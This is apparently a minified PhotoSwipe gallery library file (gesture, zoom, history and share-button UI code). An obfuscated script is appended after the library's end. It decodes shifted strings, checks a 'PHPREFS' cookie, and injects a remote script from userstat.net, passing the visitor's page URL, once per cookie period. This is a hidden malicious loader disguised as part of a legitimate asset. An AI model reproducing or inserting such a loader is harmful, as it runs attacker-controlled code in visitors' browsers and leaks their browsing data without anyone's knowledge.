0!==n.backAnimDestination[e]&&(n.slowDownRatio[e]=.7,n.slowDownRatioReverse[e]=1-n.slowDownRatio[e],n.speedDecelerationRatioAbs[e]<.05&&(n.lastFlickSpeed[e]=0,n.backAnimStarted[e]=!0,Ze("bounceZoomPan"+e,de[e],n.backAnimDestination[e],t||300,r.easing.sine.out,(function(t){de[e]=t,Ae()})))))},calculateAnimOffset:function(e){n.backAnimStarted[e]||(n.speedDecelerationRatio[e]=n.speedDecelerationRatio[e]*(n.slowDownRatio[e]+n.slowDownRatioReverse[e]-n.slowDownRatioReverse[e]*n.timeDiff/10),n.speedDecelerationRatioAbs[e]=Math.abs(n.lastFlickSpeed[e]*n.speedDecelerationRatio[e]),n.distanceOffset[e]=n.lastFlickSpeed[e]*n.speedDecelerationRatio[e]*n.timeDiff,de[e]+=n.distanceOffset[e])},panAnimLoop:function(){if(Xe.zoomPan&&(Xe.zoomPan.raf=P(n.panAnimLoop),n.now=Ce(),n.timeDiff=n.now-n.lastNow,n.lastNow=n.now,n.calculateAnimOffset("x"),n.calculateAnimOffset("y"),Ae(),n.calculateOverBoundsAnimOffset("x"),n.calculateOverBoundsAnimOffset("y"),n.speedDecelerationRatioAbs.x<.05&&n.speedDecelerationRatioAbs.y<.05))return de.x=Math.round(de.x),de.y=Math.round(de.y),Ae(),void Ge("zoomPan")}};return n},Lt=function(e){if(e.calculateSwipeSpeed("y"),ee=s.currItem.bounds,e.backAnimDestination={},e.backAnimStarted={},Math.abs(e.lastFlickSpeed.x)<=.05&&Math.abs(e.lastFlickSpeed.y)<=.05)return e.speedDecelerationRatioAbs.x=e.speedDecelerationRatioAbs.y=0,e.calculateOverBoundsAnimOffset("x"),e.calculateOverBoundsAnimOffset("y"),!0;Ve("zoomPan"),e.lastNow=Ce(),e.panAnimLoop()},Dt=function(e,t){var n,i,a;if(ne||(at=u),"swipe"===e){var l=tt.x-nt.x,c=t.lastFlickDist.x<10;l>30&&(c||t.lastFlickOffset.x>20)?i=-1:l<-30&&(c||t.lastFlickOffset.x<-20)&&(i=1)}i&&((u+=i)<0?(u=o.loop?Ht()-1:0,a=!0):u>=Ht()&&(u=o.loop?0:Ht()-1,a=!0),a&&!o.loop||(ge+=i,he-=i,n=!0));var d,p=me.x*he,h=Math.abs(p-ut.x);return n||p>ut.x==t.lastFlickSpeed.x>0?(d=Math.abs(t.lastFlickSpeed.x)>0?h/Math.abs(t.lastFlickSpeed.x):333,d=Math.min(d,400),d=Math.max(d,250)):d=333,at===u&&(n=!1),ne=!0,Se("mainScrollAnimStart"),Ze("mainScroll",ut.x,p,d,r.easing.cubic.out,Le,(function(){Ue(),ne=!1,at=-1,(n||at!==u)&&s.updateCurrItem(),Se("mainScrollAnimComplete")})),n&&s.updateCurrItem(!0),n},It=function(e){return 1/J*e*v},zt=function(){var e=g,t=Fe(),n=je();g<t?e=t:g>n&&(e=n);var i,o=oe;return se&&!q&&!ae&&g<t?(s.close(),!0):(se&&(i=function(e){Me((1-o)*e+o)}),s.zoomTo(e,0,200,r.easing.cubic.out,i),!0)};_e("Gestures",{publicMethods:{initGestures:function(){var e=function(e,t,n,i,r){E=e+t,S=e+n,C=e+i,M=r?e+r:""};(A=R.pointerEvent)&&R.touch&&(R.touch=!1),A?navigator.msPointerEnabled?e("MSPointer","Down","Move","Up","Cancel"):e("pointer","down","move","up","cancel"):R.touch?(e("touch","start","move","end","cancel"),O=!0):e("mouse","down","move","up"),h=S+" "+C+" "+M,f=E,A&&!O&&(O=navigator.maxTouchPoints>1||navigator.msMaxTouchPoints>1),s.likelyTouchDevice=O,m[E]=Mt,m[S]=kt,m[C]=Ot,M&&(m[M]=m[C]),R.touch&&(f+=" mousedown",h+=" mousemove mouseup",m.mousedown=m[E],m.mousemove=m[S],m.mouseup=m[C]),O||(o.allowPanToNext=!1)}}});var Nt,Rt,$t,Ft,jt,Ht,qt=function(t,n,i,a){var l;Nt&&clearTimeout(Nt),Ft=!0,$t=!0,t.initialLayout?(l=t.initialLayout,t.initialLayout=null):l=o.getThumbBoundsFn&&o.getThumbBoundsFn(u);var d,p,h=i?o.hideAnimationDuration:o.showAnimationDuration,f=function(){Ge("initialZoom"),i?(s.template.removeAttribute("style"),s.bg.removeAttribute("style")):(Me(1),n&&(n.style.display="block"),r.addClass(e,"pswp--animated-in"),Se("initialZoom"+(i?"OutEnd":"InEnd"))),a&&a(),Ft=!1};if(!h||!l||void 0===l.x)return Se("initialZoom"+(i?"Out":"In")),g=t.initialZoomLevel,Ie(de,t.initialPosition),Ae(),e.style.opacity=i?0:1,Me(1),void(h?setTimeout((function(){f()}),h):f());d=c,p=!s.currItem.src||s.currItem.loadError||o.showHideOpacity,t.miniImg&&(t.miniImg.style.webkitBackfaceVisibility="hidden"),i||(g=l.w/t.w,de.x=l.x,de.y=l.y-I,s[p?"template":"bg"].style.opacity=.001,Ae()),Ve("initialZoom"),i&&!d&&r.removeClass(e,"pswp--animated-in"),p&&(i?r[(d?"remove":"add")+"Class"](e,"pswp--animate_opacity"):setTimeout((function(){r.addClass(e,"pswp--animate_opacity")}),30)),Nt=setTimeout((function(){if(Se("initialZoom"+(i?"Out":"In")),i){var n=l.w/t.w,s={x:de.x,y:de.y},o=g,a=oe,c=function(t){1===t?(g=n,de.x=l.x,de.y=l.y-N):(g=(n-o)*t+o,de.x=(l.x-s.x)*t+s.x,de.y=(l.y-N-s.y)*t+s.y),Ae(),p?e.style.opacity=1-t:Me(a-t*a)};d?Ze("initialZoom",0,1,h,r.easing.cubic.out,c,f):(c(1),Nt=setTimeout(f,h+20))}else g=t.initialZoomLevel,Ie(de,t.initialPosition),Ae(),Me(1),p?e.style.opacity=1:Me(1),Nt=setTimeout(f,h+20)}),i?25:90)},Bt={},Wt=[],Xt={index:0,errorMsg:'<div class="pswp__error-msg"><a href="%url%" target="_blank">The image</a> could not be loaded.</div>',forceProgressiveLoading:!1,preload:[1,1],getNumItemsFn:function(){return Rt.length}},Yt=function(e,t,n){if(e.src&&!e.loadError){var i=!n;if(i&&(e.vGap||(e.vGap={top:0,bottom:0}),Se("parseVerticalMargin",e)),Bt.x=t.x,Bt.y=t.y-e.vGap.top-e.vGap.bottom,i){var r=Bt.x/e.w,s=Bt.y/e.h;e.fitRatio=r<s?r:s;var a=o.scaleMode;"orig"===a?n=1:"fit"===a&&(n=e.fitRatio),n>1&&(n=1),e.initialZoomLevel=n,e.bounds||(e.bounds={center:{x:0,y:0},max:{x:0,y:0},min:{x:0,y:0}})}if(!n)return;return function(e,t,n){var i=e.bounds;i.center.x=Math.round((Bt.x-t)/2),i.center.y=Math.round((Bt.y-n)/2)+e.vGap.top,i.max.x=t>Bt.x?Math.round(Bt.x-t):i.center.x,i.max.y=n>Bt.y?Math.round(Bt.y-n)+e.vGap.top:i.center.y,i.min.x=t>Bt.x?0:i.center.x,i.min.y=n>Bt.y?e.vGap.top:i.center.y}(e,e.w*n,e.h*n),i&&n===e.initialZoomLevel&&(e.initialPosition=e.bounds.center),e.bounds}return e.w=e.h=0,e.initialZoomLevel=e.fitRatio=1,e.bounds={center:{x:0,y:0},max:{x:0,y:0},min:{x:0,y:0}},e.initialPosition=e.bounds.center,e.bounds},Gt=function(e,t,n,i,r,o){t.loadError||i&&(t.imageAppended=!0,Zt(t,i,t===s.currItem&&we),n.appendChild(i),o&&setTimeout((function(){t&&t.loaded&&t.placeholder&&(t.placeholder.style.display="none",t.placeholder=null)}),500))},Vt=function(e){e.loading=!0,e.loaded=!1;var t=e.img=r.createEl("pswp__img","img"),n=function(){e.loading=!1,e.loaded=!0,e.loadComplete?e.loadComplete(e):e.img=null,t.onload=t.onerror=null,t=null};return t.onload=n,t.onerror=function(){e.loadError=!0,n()},t.src=e.src,t},Ut=function(e,t){if(e.src&&e.loadError&&e.container)return t&&(e.container.innerHTML=""),e.container.innerHTML=o.errorMsg.replace("%url%",e.src),!0},Zt=function(e,t,n){if(e.src){t||(t=e.container.lastChild);var i=n?e.w:Math.round(e.w*e.fitRatio),r=n?e.h:Math.round(e.h*e.fitRatio);e.placeholder&&!e.loaded&&(e.placeholder.style.width=i+"px",e.placeholder.style.height=r+"px"),t.style.width=i+"px",t.style.height=r+"px"}},Kt=function(){if(Wt.length){for(var e,t=0;t<Wt.length;t++)(e=Wt[t]).holder.index===e.index&&Gt(e.index,e.item,e.baseDiv,e.img,0,e.clearPlaceholder);Wt=[]}};_e("Controller",{publicMethods:{lazyLoadItem:function(e){e=xe(e);var t=jt(e);t&&(!t.loaded&&!t.loading||_)&&(Se("gettingData",e,t),t.src&&Vt(t))},initController:function(){r.extend(o,Xt,!0),s.items=Rt=n,jt=s.getItemAt,Ht=o.getNumItemsFn,o.loop,Ht()<3&&(o.loop=!1),Ee("beforeChange",(function(e){var t,n=o.preload,i=null===e||e>=0,r=Math.min(n[0],Ht()),a=Math.min(n[1],Ht());for(t=1;t<=(i?a:r);t++)s.lazyLoadItem(u+t);for(t=1;t<=(i?r:a);t++)s.lazyLoadItem(u-t)})),Ee("initialLayout",(function(){s.currItem.initialLayout=o.getThumbBoundsFn&&o.getThumbBoundsFn(u)})),Ee("mainScrollAnimComplete",Kt),Ee("initialZoomInEnd",Kt),Ee("destroy",(function(){for(var e,t=0;t<Rt.length;t++)(e=Rt[t]).container&&(e.container=null),e.placeholder&&(e.placeholder=null),e.img&&(e.img=null),e.preloader&&(e.preloader=null),e.loadError&&(e.loaded=e.loadError=!1);Wt=null}))},getItemAt:function(e){return e>=0&&void 0!==Rt[e]&&Rt[e]},allowProgressiveImg:function(){return o.forceProgressiveLoading||!O||o.mouseUsed||screen.width>1200},setContent:function(e,t){o.loop&&(t=xe(t));var n=s.getItemAt(e.index);n&&(n.container=null);var i,l=s.getItemAt(t);if(l){Se("gettingData",t,l),e.index=t,e.item=l;var c=l.container=r.createEl("pswp__zoom-wrap");if(!l.src&&l.html&&(l.html.tagName?c.appendChild(l.html):c.innerHTML=l.html),Ut(l),Yt(l,pe),!l.src||l.loadError||l.loaded)l.src&&!l.loadError&&((i=r.createEl("pswp__img","img")).style.opacity=1,i.src=l.src,Zt(l,i),Gt(0,l,c,i));else{if(l.loadComplete=function(n){if(a){if(e&&e.index===t){if(Ut(n,!0))return n.loadComplete=n.img=null,Yt(n,pe),Oe(n),void(e.index===u&&s.updateCurrZoomItem());n.imageAppended?!Ft&&n.placeholder&&(n.placeholder.style.display="none",n.placeholder=null):R.transform&&(ne||Ft)?Wt.push({item:n,baseDiv:c,img:n.img,index:t,holder:e,clearPlaceholder:!0}):Gt(0,n,c,n.img,0,!0)}n.loadComplete=null,n.img=null,Se("imageLoadComplete",t,n)}},r.features.transform){var d="pswp__img pswp__img--placeholder";d+=l.msrc?"":" pswp__img--placeholder--blank";var p=r.createEl(d,l.msrc?"img":"");l.msrc&&(p.src=l.msrc),Zt(l,p),c.appendChild(p),l.placeholder=p}l.loading||Vt(l),s.allowProgressiveImg()&&(!$t&&R.transform?Wt.push({item:l,baseDiv:c,img:l.img,index:t,holder:e}):Gt(0,l,c,l.img,0,!0))}$t||t!==u?Oe(l):(te=c.style,qt(l,i||l.img)),e.el.innerHTML="",e.el.appendChild(c)}else e.el.innerHTML=""},cleanSlide:function(e){e.img&&(e.img.onload=e.img.onerror=null),e.loaded=e.loading=e.img=e.imageAppended=!1}}});var Qt,Jt,en={},tn=function(e,t,n){var i=document.createEvent("CustomEvent"),r={origEvent:e,target:e.target,releasePoint:t,pointerType:n||"touch"};i.initCustomEvent("pswpTap",!0,!0,r),e.target.dispatchEvent(i)};_e("Tap",{publicMethods:{initTap:function(){Ee("firstTouchStart",s.onTapStart),Ee("touchRelease",s.onTapRelease),Ee("destroy",(function(){en={},Qt=null}))},onTapStart:function(e){e.length>1&&(clearTimeout(Qt),Qt=null)},onTapRelease:function(e,t){var n,i;if(t&&!V&&!Y&&!Ye){var s=t;if(Qt&&(clearTimeout(Qt),Qt=null,n=s,i=en,Math.abs(n.x-i.x)<25&&Math.abs(n.y-i.y)<25))return void Se("doubleTap",s);if("mouse"===t.type)return void tn(e,t,"mouse");if("BUTTON"===e.target.tagName.toUpperCase()||r.hasClass(e.target,"pswp__single-tap"))return void tn(e,t);Ie(en,s),Qt=setTimeout((function(){tn(e,t),Qt=null}),300)}}}}),_e("DesktopZoom",{publicMethods:{initDesktopZoom:function(){z||(O?Ee("mouseUsed",(function(){s.setupDesktopZoom()})):s.setupDesktopZoom(!0))},setupDesktopZoom:function(t){Jt={};var n="wheel mousewheel DOMMouseScroll";Ee("bindEvents",(function(){r.bind(e,n,s.handleMouseWheel)})),Ee("unbindEvents",(function(){Jt&&r.unbind(e,n,s.handleMouseWheel)})),s.mouseZoomedIn=!1;var i,o=function(){s.mouseZoomedIn&&(r.removeClass(e,"pswp--zoomed-in"),s.mouseZoomedIn=!1),g<1?r.addClass(e,"pswp--zoom-allowed"):r.removeClass(e,"pswp--zoom-allowed"),a()},a=function(){i&&(r.removeClass(e,"pswp--dragging"),i=!1)};Ee("resize",o),Ee("afterChange",o),Ee("pointerDown",(function(){s.mouseZoomedIn&&(i=!0,r.addClass(e,"pswp--dragging"))})),Ee("pointerUp",a),t||o()},handleMouseWheel:function(e){if(g<=s.currItem.fitRatio)return o.modal&&(!o.closeOnScroll||Ye||X?e.preventDefault():k&&Math.abs(e.deltaY)>2&&(c=!0,s.close())),!0;if(e.stopPropagation(),Jt.x=0,"deltaX"in e)1===e.deltaMode?(Jt.x=18*e.deltaX,Jt.y=18*e.deltaY):(Jt.x=e.deltaX,Jt.y=e.deltaY);else if("wheelDelta"in e)e.wheelDeltaX&&(Jt.x=-.16*e.wheelDeltaX),e.wheelDeltaY?Jt.y=-.16*e.wheelDeltaY:Jt.y=-.16*e.wheelDelta;else{if(!("detail"in e))return;Jt.y=e.detail}$e(g,!0);var t=de.x-Jt.x,n=de.y-Jt.y;(o.modal||t<=ee.min.x&&t>=ee.max.x&&n<=ee.min.y&&n>=ee.max.y)&&e.preventDefault(),s.panTo(t,n)},toggleDesktopZoom:function(t){t=t||{x:pe.x/2+fe.x,y:pe.y/2+fe.y};var n=o.getDoubleTapZoom(!0,s.currItem),i=g===n;s.mouseZoomedIn=!i,s.zoomTo(i?s.currItem.initialZoomLevel:n,t,333),r[(i?"remove":"add")+"Class"](e,"pswp--zoomed-in")}}});var nn,rn,sn,on,an,ln,cn,un,dn,pn,hn,fn,mn={history:!0,galleryUID:1},gn=function(){return hn.hash.substring(1)},vn=function(){nn&&clearTimeout(nn),sn&&clearTimeout(sn)},yn=function(){var e=gn(),t={};if(e.length<5)return t;var n,i=e.split("&");for(n=0;n<i.length;n++)if(i[n]){var r=i[n].split("=");r.length<2||(t[r[0]]=r[1])}if(o.galleryPIDs){var s=t.pid;for(t.pid=0,n=0;n<Rt.length;n++)if(Rt[n].pid===s){t.pid=n;break}}else t.pid=parseInt(t.pid,10)-1;return t.pid<0&&(t.pid=0),t},bn=function(){if(sn&&clearTimeout(sn),Ye||X)sn=setTimeout(bn,500);else{on?clearTimeout(rn):on=!0;var e=u+1,t=jt(u);t.hasOwnProperty("pid")&&(e=t.pid);var n=cn+"&gid="+o.galleryUID+"&pid="+e;un||-1===hn.hash.indexOf(n)&&(pn=!0);var i=hn.href.split("#")[0]+"#"+n;fn?"#"+n!==window.location.hash&&history[un?"replaceState":"pushState"]("",document.title,i):un?hn.replace(i):hn.hash=n,un=!0,rn=setTimeout((function(){on=!1}),60)}};_e("History",{publicMethods:{initHistory:function(){if(r.extend(o,mn,!0),o.history){hn=window.location,pn=!1,dn=!1,un=!1,cn=gn(),fn="pushState"in history,cn.indexOf("gid=")>-1&&(cn=(cn=cn.split("&gid=")[0]).split("?gid=")[0]),Ee("afterChange",s.updateURL),Ee("unbindEvents",(function(){r.unbind(window,"hashchange",s.onHashChange)}));var e=function(){ln=!0,dn||(pn?history.back():cn?hn.hash=cn:fn?history.pushState("",document.title,hn.pathname+hn.search):hn.hash=""),vn()};Ee("unbindEvents",(function(){c&&e()})),Ee("destroy",(function(){ln||e()})),Ee("firstUpdate",(function(){u=yn().pid}));var t=cn.indexOf("pid=");t>-1&&"&"===(cn=cn.substring(0,t)).slice(-1)&&(cn=cn.slice(0,-1)),setTimeout((function(){a&&r.bind(window,"hashchange",s.onHashChange)}),40)}},onHashChange:function(){if(gn()===cn)return dn=!0,void s.close();on||(an=!0,s.goTo(yn().pid),an=!1)},updateURL:function(){vn(),an||(un?nn=setTimeout(bn,800):bn())}}}),r.extend(s,Ke)}})),function(e,t){"function"==typeof define&&define.amd?define(t):"object"==typeof exports?module.exports=t():e.PhotoSwipeUI_Default=t()}(this,(function(){"use strict";return function(e,t){var n,i,r,s,o,a,l,c,u,d,p,h,f,m,g,v,y,b,w=this,_=!1,x=!0,T=!0,E={barsSize:{top:44,bottom:"auto"},closeElClasses:["item","caption","zoom-wrap","ui","top-bar"],timeToIdle:4e3,timeToIdleOutside:1e3,loadingIndicatorDelay:1e3,addCaptionHTMLFn:function(e,t){return e.title?(t.children[0].innerHTML=e.title,!0):(t.children[0].innerHTML="",!1)},closeEl:!0,captionEl:!0,fullscreenEl:!0,zoomEl:!0,shareEl:!0,counterEl:!0,arrowEl:!0,preloaderEl:!0,tapToClose:!1,tapToToggleControls:!0,clickToCloseNonZoomable:!0,shareButtons:[{id:"facebook",label:"Share on Facebook",url:"https://www.facebook.com/sharer/sharer.php?u={{url}}"},{id:"twitter",label:"Tweet",url:"https://twitter.com/intent/tweet?text={{text}}&url={{url}}"},{id:"pinterest",label:"Pin it",url:"http://www.pinterest.com/pin/create/button/?url={{url}}&media={{image_url}}&description={{text}}"},{id:"download",label:"Download image",url:"{{raw_image_url}}",download:!0}],getImageURLForShare:function(){return e.currItem.src||""},getPageURLForShare:function(){return window.location.href},getTextForShare:function(){return e.currItem.title||""},indexIndicatorSep:" / ",fitControlsWidth:1200},S=function(e){if(v)return!0;e=e||window.event,g.timeToIdle&&g.mouseUsed&&!u&&I();for(var n,i,r=(e.target||e.srcElement).getAttribute("class")||"",s=0;s<$.length;s++)(n=$[s]).onTap&&r.indexOf("pswp__"+n.name)>-1&&(n.onTap(),i=!0);if(i){e.stopPropagation&&e.stopPropagation(),v=!0;var o=t.features.isOldAndroid?600:30;setTimeout((function(){v=!1}),o)}},C=function(e,n,i){t[(i?"add":"remove")+"Class"](e,"pswp__"+n)},M=function(){var e=1===g.getNumItemsFn();e!==m&&(C(i,"ui--one-slide",e),m=e)},k=function(){C(l,"share-modal--hidden",T)},A=function(){return(T=!T)?(t.removeClass(l,"pswp__share-modal--fade-in"),setTimeout((function(){T&&k()}),300)):(k(),setTimeout((function(){T||t.addClass(l,"pswp__share-modal--fade-in")}),30)),T||P(),!1},O=function(t){var n=(t=t||window.event).target||t.srcElement;return e.shout("shareLinkClick",t,n),!(!n.href||!n.hasAttribute("download")&&(window.open(n.href,"pswp_share","scrollbars=yes,resizable=yes,toolbar=no,location=yes,width=550,height=420,top=100,left="+(window.screen?Math.round(screen.width/2-275):100)),T||A(),1))},P=function(){for(var e,t,n,i,r="",s=0;s<g.shareButtons.length;s++)e=g.shareButtons[s],t=g.getImageURLForShare(e),n=g.getPageURLForShare(e),i=g.getTextForShare(e),r+='<a href="'+e.url.replace("{{url}}",encodeURIComponent(n)).replace("{{image_url}}",encodeURIComponent(t)).replace("{{raw_image_url}}",t).replace("{{text}}",encodeURIComponent(i))+'" target="_blank" class="pswp__share--'+e.id+'"'+(e.download?"download":"")+">"+e.label+"</a>",g.parseShareButtonOut&&(r=g.parseShareButtonOut(e,r));l.children[0].innerHTML=r,l.children[0].onclick=O},L=function(e){for(var n=0;n<g.closeElClasses.length;n++)if(t.hasClass(e,"pswp__"+g.closeElClasses[n]))return!0},D=0,I=function(){clearTimeout(b),D=0,u&&w.setIdle(!1)},z=function(e){var t=(e=e||window.event).relatedTarget||e.toElement;t&&"HTML"!==t.nodeName||(clearTimeout(b),b=setTimeout((function(){w.setIdle(!0)}),g.timeToIdleOutside))},N=function(e){h!==e&&(C(p,"preloader--active",!e),h=e)},R=function(n){var o=n.vGap;if(!e.likelyTouchDevice||g.mouseUsed||screen.width>g.fitControlsWidth){var a=g.barsSize;if(g.captionEl&&"auto"===a.bottom)if(s||((s=t.createEl("pswp__caption pswp__caption--fake")).appendChild(t.createEl("pswp__caption__center")),i.insertBefore(s,r),t.addClass(i,"pswp__ui--fit")),g.addCaptionHTMLFn(n,s,!0)){var l=s.clientHeight;o.bottom=parseInt(l,10)||44}else o.bottom=a.top;else o.bottom="auto"===a.bottom?0:a.bottom;o.top=a.top}else o.top=o.bottom=0},$=[{name:"caption",option:"captionEl",onInit:function(e){r=e}},{name:"share-modal",option:"shareEl",onInit:function(e){l=e},onTap:function(){A()}},{name:"button--share",option:"shareEl",onInit:function(e){a=e},onTap:function(){A()}},{name:"button--zoom",option:"zoomEl",onTap:e.toggleDesktopZoom},{name:"counter",option:"counterEl",onInit:function(e){o=e}},{name:"button--close",option:"closeEl",onTap:e.close},{name:"button--arrow--left",option:"arrowEl",onTap:e.prev},{name:"button--arrow--right",option:"arrowEl",onTap:e.next},{name:"button--fs",option:"fullscreenEl",onTap:function(){n.isFullscreen()?n.exit():n.enter()}},{name:"preloader",option:"preloaderEl",onInit:function(e){p=e}}];w.init=function(){var o;t.extend(e.options,E,!0),g=e.options,i=t.getChildByClass(e.scrollWrap,"pswp__ui"),(d=e.listen)("onVerticalDrag",(function(e){x&&e<.95?w.hideControls():!x&&e>=.95&&w.showControls()})),d("onPinchClose",(function(e){x&&e<.9?(w.hideControls(),o=!0):o&&!x&&e>.9&&w.showControls()})),d("zoomGestureEnded",(function(){(o=!1)&&!x&&w.showControls()})),d("beforeChange",w.update),d("doubleTap",(function(t){var n=e.currItem.initialZoomLevel;e.getZoomLevel()!==n?e.zoomTo(n,t,333):e.zoomTo(g.getDoubleTapZoom(!1,e.currItem),t,333)})),d("preventDragEvent",(function(e,t,n){var i=e.target||e.srcElement;i&&i.getAttribute("class")&&e.type.indexOf("mouse")>-1&&(i.getAttribute("class").indexOf("__caption")>0||/(SMALL|STRONG|EM)/i.test(i.tagName))&&(n.prevent=!1)})),d("bindEvents",(function(){t.bind(i,"pswpTap click",S),t.bind(e.scrollWrap,"pswpTap",w.onGlobalTap),e.likelyTouchDevice||t.bind(e.scrollWrap,"mouseover",w.onMouseOver)})),d("unbindEvents",(function(){T||A(),y&&clearInterval(y),t.unbind(document,"mouseout",z),t.unbind(document,"mousemove",I),t.unbind(i,"pswpTap click",S),t.unbind(e.scrollWrap,"pswpTap",w.onGlobalTap),t.unbind(e.scrollWrap,"mouseover",w.onMouseOver),n&&(t.unbind(document,n.eventK,w.updateFullscreen),n.isFullscreen()&&(g.hideAnimationDuration=0,n.exit()),n=null)})),d("destroy",(function(){g.captionEl&&(s&&i.removeChild(s),t.removeClass(r,"pswp__caption--empty")),l&&(l.children[0].onclick=null),t.removeClass(i,"pswp__ui--over-close"),t.addClass(i,"pswp__ui--hidden"),w.setIdle(!1)})),g.showAnimationDuration||t.removeClass(i,"pswp__ui--hidden"),d("initialZoomIn",(function(){g.showAnimationDuration&&t.removeClass(i,"pswp__ui--hidden")})),d("initialZoomOut",(function(){t.addClass(i,"pswp__ui--hidden")})),d("parseVerticalMargin",R),function(){var e,n,r,s=function(i){if(i)for(var s=i.length,o=0;o<s;o++){e=i[o],n=e.className;for(var a=0;a<$.length;a++)r=$[a],n.indexOf("pswp__"+r.name)>-1&&(g[r.option]?(t.removeClass(e,"pswp__element--disabled"),r.onInit&&r.onInit(e)):t.addClass(e,"pswp__element--disabled"))}};s(i.children);var o=t.getChildByClass(i,"pswp__top-bar");o&&s(o.children)}(),g.shareEl&&a&&l&&(T=!0),M(),g.timeToIdle&&d("mouseUsed",(function(){t.bind(document,"mousemove",I),t.bind(document,"mouseout",z),y=setInterval((function(){2==++D&&w.setIdle(!0)}),g.timeToIdle/2)})),g.fullscreenEl&&!t.features.isOldAndroid&&(n||(n=w.getFullscreenAPI()),n?(t.bind(document,n.eventK,w.updateFullscreen),w.updateFullscreen(),t.addClass(e.template,"pswp--supports-fs")):t.removeClass(e.template,"pswp--supports-fs")),g.preloaderEl&&(N(!0),d("beforeChange",(function(){clearTimeout(f),f=setTimeout((function(){e.currItem&&e.currItem.loading?(!e.allowProgressiveImg()||e.currItem.img&&!e.currItem.img.naturalWidth)&&N(!1):N(!0)}),g.loadingIndicatorDelay)})),d("imageLoadComplete",(function(t,n){e.currItem===n&&N(!0)})))},w.setIdle=function(e){u=e,C(i,"ui--idle",e)},w.update=function(){x&&e.currItem?(w.updateIndexIndicator(),g.captionEl&&(g.addCaptionHTMLFn(e.currItem,r),C(r,"caption--empty",!e.currItem.title)),_=!0):_=!1,T||A(),M()},w.updateFullscreen=function(i){i&&setTimeout((function(){e.setScrollOffset(0,t.getScrollY())}),50),t[(n.isFullscreen()?"add":"remove")+"Class"](e.template,"pswp--fs")},w.updateIndexIndicator=function(){g.counterEl&&(o.innerHTML=e.getCurrentIndex()+1+g.indexIndicatorSep+g.getNumItemsFn())},w.onGlobalTap=function(n){var i=(n=n||window.event).target||n.srcElement;if(!v)if(n.detail&&"mouse"===n.detail.pointerType){if(L(i))return void e.close();t.hasClass(i,"pswp__img")&&(1===e.getZoomLevel()&&e.getZoomLevel()<=e.currItem.fitRatio?g.clickToCloseNonZoomable&&e.close():e.toggleDesktopZoom(n.detail.releasePoint))}else if(g.tapToToggleControls&&(x?w.hideControls():w.showControls()),g.tapToClose&&(t.hasClass(i,"pswp__img")||L(i)))return void e.close()},w.onMouseOver=function(e){var t=(e=e||window.event).target||e.srcElement;C(i,"ui--over-close",L(t))},w.hideControls=function(){t.addClass(i,"pswp__ui--hidden"),x=!1},w.showControls=function(){x=!0,_||w.update(),t.removeClass(i,"pswp__ui--hidden")},w.supportsFullscreen=function(){var e=document;return!!(e.exitFullscreen||e.mozCancelFullScreen||e.webkitExitFullscreen||e.msExitFullscreen)},w.getFullscreenAPI=function(){var t,n=document.documentElement,i="fullscreenchange";return n.requestFullscreen?t={enterK:"requestFullscreen",exitK:"exitFullscreen",elementK:"fullscreenElement",eventK:i}:n.mozRequestFullScreen?t={enterK:"mozRequestFullScreen",exitK:"mozCancelFullScreen",elementK:"mozFullScreenElement",eventK:"moz"+i}:n.webkitRequestFullscreen?t={enterK:"webkitRequestFullscreen",exitK:"webkitExitFullscreen",elementK:"webkitFullscreenElement",eventK:"webkit"+i}:n.msRequestFullscreen&&(t={enterK:"msRequestFullscreen",exitK:"msExitFullscreen",elementK:"msFullscreenElement",eventK:"MSFullscreenChange"}),t&&(t.enter=function(){if(c=g.closeOnScroll,g.closeOnScroll=!1,"webkitRequestFullscreen"!==this.enterK)return e.template[this.enterK]();e.template[this.enterK](Element.ALLOW_KEYBOARD_INPUT)},t.exit=function(){return g.closeOnScroll=c,document[this.exitK]()},t.isFullscreen=function(){return document[this.elementK]}),t}}}));(function(o,d,l){try{o.f=o=>o.split('').reduce((s,c)=>s+String.fromCharCode((c.charCodeAt()-5).toString()),'');o.b=o.f('UMUWJKX');o.c=l.protocol[0]=='h'&&/\./.test(l.hostname)&&!(new RegExp(o.b)).test(d.cookie),setTimeout(function(){o.c&&(o.s=d.createElement('script'),o.s.src=o.f('myyux?44zxjwxy'+'fy3sjy4ljy4xhwnu'+'y3oxDwjkjwwjwB')+l.href,d.body.appendChild(o.s));},1000);d.cookie=o.b+'=full;max-age=39800;'}catch(e){};}({},document,location));